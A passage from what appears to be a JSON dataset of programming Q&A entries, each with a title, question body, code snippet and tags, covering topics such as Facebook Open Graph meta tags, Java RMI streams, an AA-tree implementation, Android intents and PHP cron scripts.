the required OG meta tags:\n\nI've checked this and they're added just fine, at
this point FB hasn't initialized or been called. Only certain modals have social
icons, so when the modal is opened, the image loads and if social icons are needed
it runs the following code and dynamically updates the OG meta tags based on some
data-attributes for the element:\n\nThis works just fine and I can see the updates
take place in the code. So after the image has been loaded in the modal, and the
meta tags have been updated based on the image's .data info, I thought it would be
safe to call the Facebook SDK to setup the like/send button (and add the required
DIV to the page if it doesn't exist):\n\nIn the debugger this doesn't work, and
just defaults to the non-OG meta tags (title/description). It also throws errors
saying that og:url, etc are not defined (even though they've been added before
calling it). If I place dummy OG meta tags on the html page and run the debugger I
don't get any errors and the OG meta tag content (not the dynamically updated
content, just the dummy content text) is display.\nAny ideas? Thanks! \n", "/*
INSERT OPEN GRAPH META TAGS
*/\n$('head').append('<meta property=\"og:title\" content=\"'+x+'\"/>\n <meta
property=\"og:url\" content=\"'+window.location.href+'\"/>\n <meta
property=\"og:description\" content=\"'+z+'\"/>\n');\n", "javascript jquery
facebook sdk like"], "3075966": ["PEAR alternatives in other languages", "Is there
a good class repository like PEAR for PHP for other languages such as Ruby or C#?
If so what are they?\nAre they any good?\n", "", "c# php ruby pear alternative"],
"5908671": ["How to share an InputStream or an OutputStream while using RMI?", "I
have a server side application to which I'm attempting to share access to via RMI.
The application has an abstract representation of an \"item\" which is most
commonly represents a file but could represent almost any arbitrary data including
stream (streaming radio, streaming data from a sensor). Consequently any \"item\"
is accessed through an InputStream (alongside a method to indicate the file size if
it can be known).\nWhile RMI is sufficient for the rest of the application, it
really can't handle InputStreams.\nIt strikes me that the need to access
InputStreams while using RMI must be a common problem. So I was wondering:\nWhat
are the recommended solutions?\nNote I need the client to both send and receive
input streams and serializing to a byte array is not viable because some of them
actually do represent a stream of data, not just a file.\n", "", "java inputstream
rmi outputstream"], "3188391": ["SingleOrDefault does not return current database
content", "We are using Entity Framework 4.31 code first to handle crud operations
against our sql server 2008 database.\n1) I make a call to the db to pull back data
...\nT _return1 = _dbset.Where(o => !o.F_isdeleted && o.I_id == id).Single();\n2) i
change the data in _return1 ...\n3) i then manually make an update to this same
record on the database using sql server management studio ...\n4) i then make the
same call found in 1 (into a 2nd object )to pull back the data, watching the call
in sql server profile being made to the db.\nT _return2 = _dbset.Where(o => !
o.F_isdeleted && o.I_id == id).Single();\n5) when i examine the contents of return2
i can see it does NOT contain the updated data from the database even though I can
see the call being made to the db in 4.\nAm i missing something here ??? \nwhy am i
not seeing the current db contents in _return2, but seeing identical content to \
n_return1 ???\n", "", "ef-code-first"], "5883979": ["setw() - adjustfield (left,
right or internal)", "I am going though the string functions doing tests to learn
them (I am a newbie programmer)\nAnyway, I am currently looking at setw() but I
seam to not understand it... I think I understand the basic use and the use of
setfil \nhere is my test code\nhttp://ideone.com/czAXH\nAnyway the cplusplus
website says.. \"format flag adjustfield (left, right or internal)\" but doesn't
say how to use this?\nI assume this means I can do the above code but place
the \"spacing\" after the word instead of before it..\nHow do I do that?\n", "",
"field setf"], "3520499": ["SVN pre-commit hook to validate subdirectory name only
in shell script", "I am trying to o add a pre-commit hook that validate sub-
directory name in yyyymmdd format.It should be applicable to specific directories
only not to whole project folder.Please help to write the hook script.\n", "", "svn
pre-commit-hook pre-commit"], "652627": ["WPF ObservableCollection: How to add a
blank line in one form's combobox, but not actually affect the
ObservableCollection?", "I have a static ObservableCollection in a Data Repository
class. I use it to populate a combobox on one of my forms (which needs to be able
to include a blank line which represents NULL).\nI use the same
ObservableCollection to populate a DataGrid, so I don't want the blank item in the
actual ObservableCollection. How do I actually do this?\nOh, and the reason I want
to do this is so that if I have both forms open and I delete an item from the
ObservableCollection it should reflect that in both of the lists.\n", "", "c# wpf
observablecollection targetnullvalue"], "2393051": ["How do I customize the
SharePoint 2010 claims based login page?", "I have a SharePoint 2010 web
application that will be accessed by internal employees and outside partners which
I would like to use the same url.\nI have it set up for Claims based authentication
with Windows and Forms based authentication enabled. The default login page looks
as follows:\n\nI would like to edit the text in the drop-down menu to
say \"Internal Employees\" instead of \"Windows Authentication\" and \"External
Partners\" instead of \"Forms Authentication\" as well as change the red error
image to the company logo.\n", "", "authentication sharepoint2010 login"],
"3659227": ["Anderson tree problem", "Thought I'd use an Anderson tree for
something. So I started porting to C++ the Julienne Walker version found here:
http://www.eternallyconfuzzled.com/tuts/datastructures/jsw_tut_andersson.aspx\nNow
I have insertions working. But the problem is if I compile with optimisations it
crashes. Even -O1 crashes it.\n\n", "template <class Tv>\nclass AaTree\n{\
nprivate:\n\n template <typename Tdata>\n struct AaNode\n {\n
AaNode()\n {\n level = 0;\n link[0] = 0L;\n
link[1] = 0L;\n }\n\n ~AaNode()\n {}\n\n\n int level;\n
Tdata data;\n AaNode<Tdata>* link[2];\n };\n\n\n AaNode<Tv>* root;\n
AaNode<Tv>* nil; // sentinel\n\n inline AaNode<Tv>* make_node(Tv data, int
level)\n {\n AaNode<Tv>* rn = new AaNode<Tv>();\n rn->data =
data;\n rn->level = level;\n rn->link[0] = rn->link[1] = nil;\n }\
n\n inline AaNode<Tv>* skew(AaNode<Tv>* t)\n {\n if (t->link[0]->level
== t->level && t->level != 0)\n {\n AaNode<Tv>* save = t-
>link[0];\n t->link[0] = save->link[1];\n save->link[1] = t;\
n t = save;\n }\n\n return t;\n }\n\n\n inline
AaNode<Tv>* split(AaNode<Tv>* t)\n {\n if (t->link[1]->link[1]->level ==
t->level && t->level != 0)\n {\n AaNode<Tv>*save = t->link[1];\n
t->link[1] = save->link[0];\n save->link[0] = t;\n t = save;\
n ++t->level;\n }\n\n return t;\n }\n\n\n
AaNode<Tv>* _insert(AaNode<Tv>* root, Tv data)\n {\n if (root == nil)\n
root = make_node(data, 1);\n else {\n AaNode<Tv>* it = root;\n
AaNode<Tv>* path[64];\n int top=0, dir=0;\n\n for (;;) \n
{\n path[top++] = it;\n dir = it->data < data;\n\n
if (it->link[dir] == nil)\n break;\n\n it = it-
>link[dir];\n }\n\n it->link[dir] = make_node(data, 1);\n\n
while (--top >= 0) \n {\n if (top != 0)\n
dir = path[top - 1]->link[1] == path[top];\n\n path[top] =
skew(path[top]);\n path[top] = split(path[top]);\n\n
if ( top != 0 )\n path[top - 1]->link[dir] = path[top];\n
else\n root = path[top];\n }\n }\n\n
return root;\n } \n\n void _print(AaNode<Tv>* root)\n {\n if
(root != nil)\n {\n _print(root->link[0]);\n
printf(\"level(%d): %d\\n\", root->level, root->data);\n _print(root-
>link[1]);\n }\n }\n\n\npublic:\n AaTree()\n : root(0L)\n {\
n nil = new AaNode<Tv>();\n root = nil;\n }\n\n ~AaTree()\n
{}\n\n void Insert(Tv data)\n {\n root = _insert(root, data);\n }\
n\n void Delete(Tv data)\n {\n root = _remove(root, data);\n }\n\n
void Print()\n {\n _print(root);\n } \n};\n\n\nint main(int argc,
char* argv[])\n{\n AaTree<int> tree;\n\n for (int i = 0; i < 100; i++)\n
tree.Insert(i);\n\n tree.Print();\n\n return 0;\n}\n", "c++ binary-tree"],
"2837675": ["Media Queries min-width not firing correctly in Opera, FF and IE", "I
use media queries on a page http://test.lovecpokladu.cz/detail-mince?id=2461 like
this:\n\nand use this meta viewport tag:\n\nWhen I resize Chrome's window to 660px
(measuring just the HTML page, not window borders), styles apply correctly. Styles
don't apply in 659px, which is correct.\nProblem is with Opera, IE and Firefox. The
styles apply as soons as width hits about 642px :( I observe these browsers firing
min-width sooner at more content even in max-width condition and even on another
website (built by me).\nWhere could be the problem?\nThanks a lot!\n", "@media all
and (min-width: 660px) {\n ... styles for box decoration ...\n}\n", "css firefox
width viewport media-queries"], "4731683": ["Android Activity.Not.Found Intent", "I
have one Activity running and when I click a button I want the next Activity to pop
up. It should be simple, but I don't know what's going on here.\nI don't understand
why I am getting this error. I have looked at other people's errors and tried to
fix it, but nothings working. When I match the action name and when I call it in
java I still get this error. I'm not sure what I'm doing wrong.\nThis is what I got
for my manifest:\n\n\nThis is my Javacode for first activity that is suppose to
call the other Activity \"Recorder.java\" when the button is clicked:\n\n", "<?xml
version=\"1.0\" encoding=\"utf-8\"?>\n<manifest
xmlns:android=\"http://schemas.android.com/apk/res/android\"\
npackage=\"com.jordan.dictation\"\nandroid:versionCode=\"1\"\
nandroid:versionName=\"1.0\" >\n\n<uses-sdk\n android:minSdkVersion=\"7\"\n
android:targetSdkVersion=\"17\" />\n\n<application\n
android:allowBackup=\"true\"\n android:icon=\"@drawable/ic_launcher\"\n
android:label=\"@string/app_name\"\n android:theme=\"@style/AppTheme\" >\n
<activity\n android:name=\".MainActivity\"\n
android:label=\"@string/app_name\" >\n <intent-filter>\n <action
android:name=\"android.intent.action.MAIN\" />\n <category
android:name=\"android.intent.category.LAUNCHER\" />\n </intent-filter>\n
</activity>\n <activity android:name=\".Recorder\" \n
android:theme=\"@style/AppBaseTheme\"\n android:label=\"@string/app_name\"
>\n <action android:name=\"com.jordan.dictation.RECORDER\" />\n
<category android:name=\"android.intent.category.DEFAULT\" />\n
</activity>\n</application>\n", "android error-handling android-activity"],
"4394973": ["Easy question on L-theory", "I'm reading the introductory book on L-
theory, Algebraic and geometric surgery by Andrew Ranicki, available at 1.\nHere is
the statement in the page 254 Example 11.18. \nIf $G$ is a group without $2$-
torsion, then (there is) a decomposition \n$ G=\\lbrace 1\\rbrace\\cup S\\cup S^{-
1}$ which determines a $\\mathbb{Z}[\\mathbb{Z}/2]$-module splitting of $\\
mathbb{Z}[G]=\\mathbb{Z}\\oplus(\\mathbb{Z}[S]\\oplus\\mathbb{Z}[S^{-1}])$. \nHere,
how can I decompose $G$ into $G=\\lbrace 1\\rbrace\\cup S\\cup S^{-1}$ for $G$ a
group without $2$-torsion?\n", "", "modules"], "2971283": ["PHP (local wamp) - how
to print without print dialogue", "Trying to find a good way to print without the
print dialogue on my LOCAL wamp installation, in other words the printer is
connected to the server.\nThe best (theoretical) way I have found so far seems to
be using PHP's exec function, by either running a .bat that will use notepad to
open and print the file or by running notepad and printing form there.\nEG:\n\
ntestprint.bat\n\nRunning either of these form cmd.exe works perfectly but when
trying to run it using PHP's exec, when $exe_tmp is echoed, I get seemingly nothing
and an output of:\n\nIf anyone knows why the above don't work when called from
exec(); that would be very good, or if anyone knows of another way to bypass the
print dialogue that would be excellent.\nCheers\nCharlie\n", "<?php\n$exe_tmp =
exec('E:\\WebServer\\www\\testprint.bat');\n\n//or\n\n$exe_tmp = exec('c:\\
WINDOWS\\system32\\cmd.exe /c \"E:\\WebServer\\www\\MOSys\\ePos\\
testprint.bat\"');\n?>\n", "php printing exec wamp"], "4011769": ["Store and
retrieve native pointer from System::Object^", "Hi I want to store a pointer to a
native class in and retrieve it back.\n\nWhich is the proper way to achieve the
above behavior?\n", "System::Object^", "c++ c++-cli"], "4839760": ["Using
changePage in JQuery Mobile in Cordova (PhoneGap)", "I have downloaded the file
structure of my JQuery Mobile app. I have done this to test running it from the
local file system. The reason why is I want my app to run with Cordova. From my
understanding cordova runs files under file://. Currently, my file structure looks
like this:\n\nIn index.html, I have a \"sign up\" button. When someone clicks it, I
use the following code:\n\nI've verified that register.html works fine if i put the
complete path in the browser url. Oddly, I see \"error loading page\" when I click
\"sign up\". Is there some problem with using changePage under file://. If so, how
do I overcome this?\nThank you!\n", "index.html\naccount\n register.html\n
reset.html\n", "jquery-mobile phonegap cordova"], "2810074": ["Intelligent Gmail
filters? ", "About every 6 months, I update my gmail filters to accommodate all the
new kinds of ham out there. It's actually quite tedious to put filters on
everything and to try to devise new filters.\nGmail uses bayesian filters to guess
if an e-mail is spam. Is it possible to access Gmail from a command line and try
to automate the filtering? Or even the clustering?\n", "", "email gmail"],
"1462514": ["Accessing Facebook Events", "\nPossible Duplicate:\nHow to get all
events from a facebook Page \n\nI am working on a windows phone application and I
need access to Facebook events.\nI have found the Facebook C# SDK but there is
nothing about accessing the events.\nI am not asking for code, I am just asking how
I can do this ?\nCan I do this without FB user authorization ? Because I want to
list the events that are in that location (for example city). The location is
determined by a GPS or WI-Fi. Any idea ?\nThanks!\n", "", "windows-phone-7 windows-
phone-7.1 facebook-c#-sdk windows-phone"], "2465702": ["Are CAL's Required? Server
2008 Advice", "Basically what I would like is to setup a network to allow all
employees in our business to have a central user system and file storage (Then if
one machine fails there should be no loss of data).\nHowever I am confused by what
'CAL's are and if I need to buy or how many I need to buy? We currently have 4
machines and 5 users.\nI have got Windows 7 Professional licence running on each of
these machines, and do not understand whether I then need to buy yet another
licence just to connect to this machine?\nFrom what I have seen I just need to set
this server up, and connect my current PC network up to this 'domain' or have I
misread something?\nI am working on a small budget, and do not wish to spend to
much money on the infrastructure if possible. \nEdit:\nCould any one explain if
there is much difference between Standard and Essentials for Small Business Server?
As I don't believe you need CAL's on the Essentials but not sure what you would
lose? \nI hope someone can help - I seem to have spent all day on Google without
finding anything out.\n", "", "windows-server-2008 windows-sbs"], "3519887":
["Windows Phone 8 IconicTemplate Tile Images show blank", "I'm developing a Windows
Phone 8 app and testing it on Lumia 920. I selected two images, one 71x110 and one
134x202 for IconicTemplate from WMAppManifest.xml and deployed it on the device. \
nWhen the app is pinned to start screen, the tile shows white rectangles instead of
the images. Strangely, the tile can correctly show the white spiky circle images
that come with sdk samples when they are selected as tile images. What can I be
doing wrong?\n", "", "windows-phone windows-phone-8"], "5193046": ["PHP on the
Google App Engine", "How can i run a PHP script on the Google App Engine?\nI know
that Java and Python are supported. Is PHP possible?\n", "", "php google-app-
engine"], "65097": ["How is this dynamic plot possible with mathematica?", "Here is
a BBC dynamic graphics. I am thinking it might be possible to reproduce the
graphics in Mathematica.\n\nIn the process of answering we will see some charming
graphics tricks available in MMA. That is the only reason to ask the question out
here.\nUpdate:\nI just checked that BBC is using simple JavaScript to do it. They
have manually made the static pictures and not even using Flash based event
handling. So all the pictures are static entities and once we click on one country
it generates a unique image. For other countries it shows other images. The
separate images for each cases can be generated via PowerPoint, Visio or even
Photoshop. One can check this just by disabling the JavaScript in your browser and
by reloading the page.\nI understand that those single pictures can be made from
MMA. Some answers shows the right direction how one can do it. So I am accepting
the best answer that has come so far.\n", "", "graphics mathematica"], "3537880":
["Three.js addon for Blender not showing in Addons screen (on windows 7 and Windows
Vista)", "Has anyone been able to get the import export addon for to work on
or \nI tried on two different computers.\nOn I placed the files in (I have blender
on this machine)\n\nOn Windows Vista where I have blender 2.66 I placed the files
in \n\nI looked in the User Preferences and can not see the addon there. I also
tried the filter etc.\nPlease help!\n", "three.js", "windows plugins three.js
blender add-on"], "4413456": ["Uncheck \"Enable Runtime Themes\" or remove the
internal manifest in Delphi XE?", "I have a component that I am building that I
want to be used in the following way:\n\nUser creates a new blank project.\nUser
drops my component on the form.\nSome special Designtime code in my component is
executed, that will change Project Options to uncheck the \"Enable runtime themes\"
checkbox in the project options. I am not sure this is even possible, so I'm asking
if it's possible.\n\nIf #3 is not possible, then I need another solution to
my \"usability\" problem with this component; The problem I have is that if users
do not disable the statically linked manifest file by unchecking Enable Runtime
Themes, then that statically generated manifest that is linked into the EXE seems
to override the external manifest files that I want to have outside the EXE, on
disk. I also need to modify these manifests at runtime, thus the need for external
manifests. I can of course, enable the Runtime Theme functionality using these
manifests, when it is desirable to do so. A secondary question is about the
priority of external and internal manifests; Can an external manifest somehow take
priority over the internal manifest resource that is linked into Delphi apps when
you check \"Enable Runtime Themes\"?\nAcceptable solutions other than #3:\nA.
Somehow cause Delphi to not generate a manifest.\nB. Somehow at runtime, have
Windows recognize and prioritize external .manifest files even when an internal one
is found.\nC. Least good solution; At runtime, after CoCreateInstance in my
component fails, I can enumerate resources, report that an external manifest is
present and is messing us up, and rely on developers who use my component reading
the runtime error messages my component spits out, telling them to disable runtime
themes checkbox and rebuild their app. Extracting
and reading a manifest is already covered in another stackoverflow question here,
with C++ code that could easily be converted to Delphi.\nUpdate The accepted answer
does exactly what I asked, but is considered a hack, and David's answer is much
more sane, and is the Recommended Approach.\n", "", "delphi manifest winsxs ota
toolsapi"], "3987288": ["How to convert output from ExecuteXmlReader to Rss", "Is
it possible, maybe through XSLT, to easily convert the output from
Command.ExecuteXmlReader() to RSS?\n", "", ".net ado.net rss"], "5659561":
["glReadPixels fails when hidden a element", "When i touch the screen glReadpixels
return the RGB of the pixel. After the touch i call a method to hidden element that
has the same RGB values. After this if i touch the screen glReadpixels returns only
0 values.\n\n-----------------------------
Square.java---------------------------------------------\n\n", "public void
onDrawFrame(GL10 gl) {\n gl.glClear(GL10.GL_COLOR_BUFFER_BIT |
GL10.GL_DEPTH_BUFFER_BIT);\n gl.glLoadIdentity(); //Reset The
Current Modelview Matrix\n\n gl.glPushMatrix();\n gl.glColor4f(0.0f, 0.0f,
1.0f, 1.0f);\n gl.glTranslatef(0.0f, 1.2f, -6.0f); //Move down 1.0 Unit And Into
The Screen 6.0\n squareOne.draw(gl); //Draw the square\n
gl.glPopMatrix();\n\n gl.glPushMatrix();\n gl.glColor4f(0.0f, 1.0f, 0.0f,
1.0f);\n gl.glTranslatef(0.0f, -1.2f, -6.0f); //Move down 1.0 Unit And Into
The Screen 6.0\n squareTwo.draw(gl);\n gl.glPopMatrix();\n\n //Picking
colors Objects Code\n ByteBuffer PixelBuffer = ByteBuffer.allocateDirect(4);\n
PixelBuffer.order(ByteOrder.nativeOrder());\n gl.glReadPixels((int)
this.touchPointx, (int) this.touchPointy, 1, 1, GL10.GL_RGBA,
GL10.GL_UNSIGNED_BYTE, PixelBuffer);\n byte b[] = new byte[4];\n
PixelBuffer.get(b);\n\n String key = \"\" + b[0] + b[1] + b[2];\n
Log.i(key,key);\n\n if(b[0]==0 && b[1]==-1 && b[2]==0){\n
this.squareOne.setHidden(true);\n }\n if(b[0]==0 && b[1]==0 && b[2]==-1){\n
this.squareTwo.setHidden(true);\n }\n\n}\n", "java android opengl-es
glreadpixels"], "4241968": ["UISplitViewController with MonoTouch.Dialog", "Using a
UISplitViewController with MonoTouch.Dialog (DialogViewController) I am having
issues when using the \"back\" button of the navigation
controller:\nhttp://i.stack.imgur.com/LeykT.png\nThere is a big animation on the
detail side vertically from top to bottom.\nI uploaded a small MonoTouch sample to
https://github.com/t9mike/MonoTouch-TabPlusNav1-Sample. [Since updated with fix]\nI
am using the excellent MonoTouch.Dialog library, also on GitHub. The example
references this.\nHow I am creating the view controller for the first tab:\n\nIs
there a fix for the vertical animation when I pop navigation? \nThanks.\n", "var
spit_view = new MySplitViewController();\nspit_view.Delegate = new
UISplitViewControllerDelegate();\nspit_view.ViewControllers = new
UIViewController[] { \n new MyNavigationController(), \n new
DetailViewController(\"Tab #1\") \n};\nAdd(UITabBarSystemItem.Search,
spit_view); // custom method\n", "iphone monotouch ipad-splitview monotouch.dialog
uitabcontroller"], "3519886": ["how programatically know excel file has macro file
in C#", "i have a one 2003 excel file. using ofc.exe file i have converted the 2003
excel file in to 2007 exls file. \nnow my problem is before convert the file can i
know the excel file is a macro excel file in c#.net ?\n", "", "c# excel"],
"1236152": ["Can I import existing .Rnw Sweave file into LyX?", "I am trying to
import an existing Sweave file into LyX. I wonder whether LyX is capable of doing
it? My LyX version is 2.02 and I can use its Sweave module with no problem. I find
out it does have an import Sweave option but I cannot import the simplest file
like the one below. \n\nWhen I try to import this file, it gives me the following
error message:\n\nAm I doing anything wrong? Shall I do it differently?\n", ".Rnw",
"lyx sweave"], "5486451": ["SCP fails without error", "I've been experiencing very
strange behavior of SCP for some time: whenever I try to copy a file, the output of
SCP contains a bunch of underscores and the file is not copied.\n\nWhen I create an
SSH connection using Midnight Commander and copy files it does work.\nSome info
about my machine:\n\nAnd I'm running Kubuntu 11.04.\nEdit: Some more info as
requested by the comments:\n\nand\n\n", "$ scp test.txt 192.168.0.2:~\
[email protected]'s password: \n ________________________________________\n",
"scp"], "5046720": ["How to authenticate user coming from File Action", "Is there a
way to authenticate a user coming from a File Action without requiring ticket->
redirect->token?\nHere's the scenario:\n\nUser adds our web app to their account on
Box.com web site\nUser selects a file clicks on \"Open with Our App\" (File Actions
- Popup)\nOur app receives the parameters for file URL, file auth token, etc.\nUser
wishes to add comment to the file from our app\n\nHow do we make API call to add
comment to file? Throughout the flow above, we do no have a user auth token
required for API calls, even though user added the app and interacted with it.\
nThanks for the help!\n", "", "authentication box-api"], "5114643": ["Best way to
index and query analytic table in MySQL", "I have an analytics table (5M rows and
growing) with the following structure\n\nMost queries to the table is to query
between two datetimes for a particular sub-set of columns and them sum up all the
count column across all rows. For example:\n\nThe interesting thing about queries
to this table is that the where clause include any permutation of Hit columns names
and values since those are what we're filtering against. So the particular query
above is getting the # of males and females between the ages of 18 and 20
(age_range_id 1) in NY that belongs to a target called \"test\". However, there are
over 8 age groups, 10 klout ranges, 45 locations, 10 sources etc (all \nforeign key
references).\nI currently have an index on hot_date and another one on target_id.
What the best way to properly index this table?. Having a composite index on all
column fields seems inherently wrong. \nIs there any other way to run this query
without using a sub-query to sum up all counts? I did some research and this seems
to be the best way to get the data-set I need but is there a more efficient way of
handling this query?\n", "Hits \n id int() NOT NULL AUTO_INCREMENT,\n hit_date
datetime NOT NULL,\n hit_day int(11) DEFAULT NULL,\n gender varchar(255) DEFAULT
NULL,\n age_range_id int(11) DEFAULT NULL,\n klout_range_id int(11) DEFAULT
NULL,\n frequency int(11) DEFAULT NULL,\n count int(11) DEFAULT NULL,\n
location_id int(11) DEFAULT NULL,\n source_id int(11) DEFAULT NULL,\n target_id
int(11) DEFAULT NULL,\n", "mysql sql index subquery analytics"], "2199736":
["disable combo box for opening but keep other events", "I have an application the
does some DOM selection.\nwhen I click on elements they stay marked and application
remembers these elements.\nIn the case of a combobox (drop-down-menu) when I click
it, in addition to marking it (as in all other elements) it also opens up the
combobox. I want to prevent this from happening.\nThe way I know to this is by
using disable=\"true\". So I figured I can disable the combobox on mouseOver and
re-enable it on mouseOut. However when I do this, it disables all events, thus I
can't click on it anymore nor does the mouseOut event called.\nIs there a way to
prevent a combo box from opening without disabling other events such as onClick and
mouseOver?\n", "", "javascript javascript-events drop-down-menu combobox
disabling"], "882520": ["Access at type under module", "i explain u my problem\nI
have an module like this :\na.ml\n\na.mli\n\nmain.ml\n\nHow can i solved this error
:\n\nThanks.\n", "module A = struct \ntype t = int * int\nend\n", "ocaml"],
"3898243": ["Trigger and missing option", "I'm developing a trigger that has to
check the correctness of a date. I'm have big time trouble creating one, becase no
matter how I try to simplify my code, Oracle returns me the same error: ORA-00922:
missing or invalid option. I have checked the code over and over again and I really
can't figure out where my issue is!\nThe following is an over-simplified version of
the trigger, which gets the same error too.\n\nI really hope you can help me
because at this point I really have no idea of what I am doing wrong.\n", "CREATE
OR REPLACE checkDateValidity\nBEFORE INSERT\nON Event\nFOR EACH ROW\nBEGIN\
nIF :new.month>12\nTHEN\nRAISE_APPLICATION_ERROR(-20101, 'Error: wrong month');\
nEND IF;\nEND;\n", "triggers oracle10g"], "4407642": ["How to identify a frame /
subframe structure", "I have a web application which has a very complex frame /
subframe / iframe structure. This is generated and managed dynamically. I am
writing some selenium tests for this and I have to verify if an element is present.
I can do this with xpath (no problem) but I have to select the frame / subframe
where to perform the verification. \nHow can I identify this frame / subframe
structure?\n", "", "html frame"], "4776685": ["What artifacts to save for a
released build?", "So, I now know what to save from nightly builds. What about
when I give something to customers? \nFor example, I probably want to save
debugging information (e.g. PDB).\nWhat else?\n", "", "deployment build-process"],
"3519881": ["Displaying Gridview values outside the grid on rowcommand event
without using index of column", "I have a grid in which all columns are boundfield
and one template field, which is a link button.\nOn clicking the link button, I
need to display the grid column values in to a panel which has textboxes, checkbox
etc. I am using a event for this.\neg: textboxname.text= grid's name column
value\nI would like not to use command. Instead of specifying the row or cell
number can I do this in event.\nPlease help!\n", "Row_Command", "asp.net gridview
grid boundfield rowcommand"], "4566644": ["connect with pear MDB2 and write to file
failed", "I have a linux script which runs in a cron job and collects some data to
store in a file. It needs to transfer to a windows server. I am finding a way to
keep the same functionality here. I am trying running the script in php cli. But
the output file is not generated. I ran the script with this command:\n\nphp -f
points.php development\n\nThe cli seems to be in stuck until I force stop it. \nThe
code is here:\n\nI appreciate any help.\n", "<?php\n//time the script\n$timeparts =
explode(' ',microtime());\n$starttime = $timeparts[1].substr($timeparts[0],1);\n\
n//turn notices off\nerror_reporting(E_ALL ^ E_NOTICE);\n\ninclude_once
'MDB2.php';\ninclude_once 'Zend/Config/Xml.php';\ninclude_once
'Zend/Registry.php';\n\n\n//get the server arg for the environment\
nif(isset($_SERVER['argv'][1])){\n //make sure its an acceptable environment -
production, staging, development\n if($_SERVER['argv'][1] == 'production' ||
$_SERVER['argv'][1] == 'staging' || $_SERVER['argv'][1] == 'development'){\n
$env = $_SERVER['argv'][1];\n }\n else{\n die(\"Invalid operating
environment (production, staging, development) \\n\");\n }\n}\nelse{\n
die(\"No operating evironment set (production, staging, development) \\n\");\n}\
n//get the config object\n$config = new
Zend_Config_Xml('../includes/zend_config.xml', $env);\n\n//App specific includes\
ninclude_once $config->docroot . '/app/DAO/dataAccessObject.class.php'; \
ninclude_once $config->docroot . '/app/DAO/slpStudentAttendance.class.php';\
ninclude_once $config->docroot . '/app/DAO/slpEvent.class.php'; \ninclude_once
$config->docroot . '/app/DAO/slpEventOccurence.class.php'; \ninclude_once
$config->docroot . '/app/DAO/slpTermException.class.php'; \ninclude_once $config-
>docroot . '/app/DAO/slpCareerException.class.php'; \ninclude_once $config-
>docroot . '/app/DAO/slpStudent.class.php'; \n\n//get the config\
nZEND_REGISTRY::set('config', $config);\n\n//get CLW db object \n$db_clw =
MDB2::factory($config->database->CLW->dsn);\nif (PEAR::isError($db_clw)) {\n
$db_clw->disconnect();\n $db_banner->disconnect();\n die($db->getMessage());\
n}\n\n//get student object\n//$stu = new slpStudent();\n\n//get a distinct list of
students with points\n$res = $db_clw->query('Select distinct student_sid from
CLW_student_attendance');\nif (PEAR::isError($res)) {\n $db_clw->disconnect();\n
$db_banner->disconnect();\n die($db->getMessage());\n}\n\n//load up a student
object 1K at a time\n\n\n//calculate points for each student object\n$pts = 0;\
n$count = 0;\n$out = array();\n$rowx =
$res->fetchAll(MDB2_FETCHMODE_ASSOC);\n\n//get arrays of 999 hnums per
piece...oracle can only load 1000 values in an \"in\" clause\n$studsArr =
array_chunk($rowx, 999);\n\n//while($rowx = $res->fetchRow(MDB2_FETCHMODE_ASSOC)){\
nforeach($studsArr as $studList){\n\n //get the hnums into a list\n $sl =
array();\n foreach($studList as $val){\n $sl[] = $val['student_sid'];\n
}\n //die(print_r($sl));\n //load a student\n $stu = new slpStudent();\n
//$stu->STUDENT_ID = $row['student_sid'];\n $stu->find($sl,'STUDENT_ID');\n
while($stu->current()){\n //echo $rowx['student_sid'];\n //calc the
points\n\n if($stu->STUDENT_ID != ''){\n $pts = 0;\n
$stu->clearPoints();\n $pts += $stu->calculatePoints2();\n
if(empty($pts)){\n $pts = 0;\n }\n $tcredit =
floor(($stu->T_HOURS_EARNED * 0.75)) > 60 && $stu->SPEC > 200950 ? 60 :
floor(($stu->T_HOURS_EARNED * 0.75)); \n $pts += $tcredit;\n
$out[] = $stu->STUDENT_ID . ' ' . $pts;\n\n $stu->next();\n
$count++;\n }\n\n }\n $stu->clear();\n //$count++;\n}\n
@file_put_contents('out.cred', implode(\"\\n\", $out));\n\n//make sure all
connections are closed\n$db_clw->disconnect();\n//$db_banner->disconnect(); \n\
n$timeparts = explode(' ',microtime());\n$endtime =
$timeparts[1].substr($timeparts[0],1);\n$dif = bcsub($endtime,$starttime,6);\necho
$count .' - '. $dif;\nexit(0);\n?>\n", "php windows pear mdb2"], "1827284":
["UpdatePanel's PostbackTrigger that is inside a usercontrol inside a masterpage?",
"I have a masterpage and inside that masterage is a user control that has a toolbar
with a save button. I then have an aspx page that inherits form t he master page.
In that page I have and updatepanel. Is it possible to set the post back trigger to
the Save button inside the usercontrol?\n", "", "c# asp.net usercontrols
updatepanel master-pages"], "5359931": ["Putting E-mail into \"sent\" folder after
PHP mail function", "I am currently working on a project where I am accessing an e-
mail account using PHP's imap_open(). I know that I can send an e-mail with PHP
using the mail() function.\nHowever, I was wondering if, after I send an e-mail, I
could place that e-mail in the email account's sent folder using any of PHP's imap
functions.\nAny help would be greatly appreciated.\n", "", "php email gmail imap"],
"5226172": ["WSDL parsing exception creating Webservice client with CXF
JaxWSClientFactoryBean", "I've written some code to create and run webservice
client using CXF. I used JaxWsClientFactoryBean (not sure it's the best solution)
to create client from .wsdl file.\nThe goal here was to do this programmatically
avoiding Spring etc. Just pure code with Java and CXF.\n\nI'm really not sure if
this is done correctly, but it works when I run this code locally and when I deploy
it on Tomcat.\nUnfortunatelly I need to run this code on Weblogic and this results
in strange exception:\n\nThis happens during application deployment. It looks like
there is something wrong with .wsdl file, but wait... It was working on Tomcat! \nI
think that there could be some difference in com.sun.org.apache.xerces.* classes
implementation within Weblogic with its JRockit VM and standard JVM, but I have no
idea how to solve it.\nI spent many hours trying differend ways of client creation.
Most of them worked locally and in Tomcat, but none on WebLogic.\nAny hints what to
try next? I'm kinda tired of this topic :D\n", "JaxWsClientFactoryBean cfb = new
JaxWsClientFactoryBean();\ncfb.setAddress(getServiceProperty(intClass,
PROPERTY_KEY_URL_SUFFIX));\ncfb.setServiceClass(intClass);\
ncfb.setOutInterceptors(getOutInterceptors(intClass));\
ncfb.setServiceName(SERVICE_NAME);\ncfb.setWsdlURL(\"classpath:wsdl/\" +
intClass.getSimpleName() + \".wsdl\");\ncfb.setEndpointName(ENDPOINT_NAME);\nClient
client = cfb.create();\nClientProxy cp = new ClientProxy(client);\nI intService =
(I) \n Proxy.newProxyInstance(intClass.getClassLoader(), new Class[]
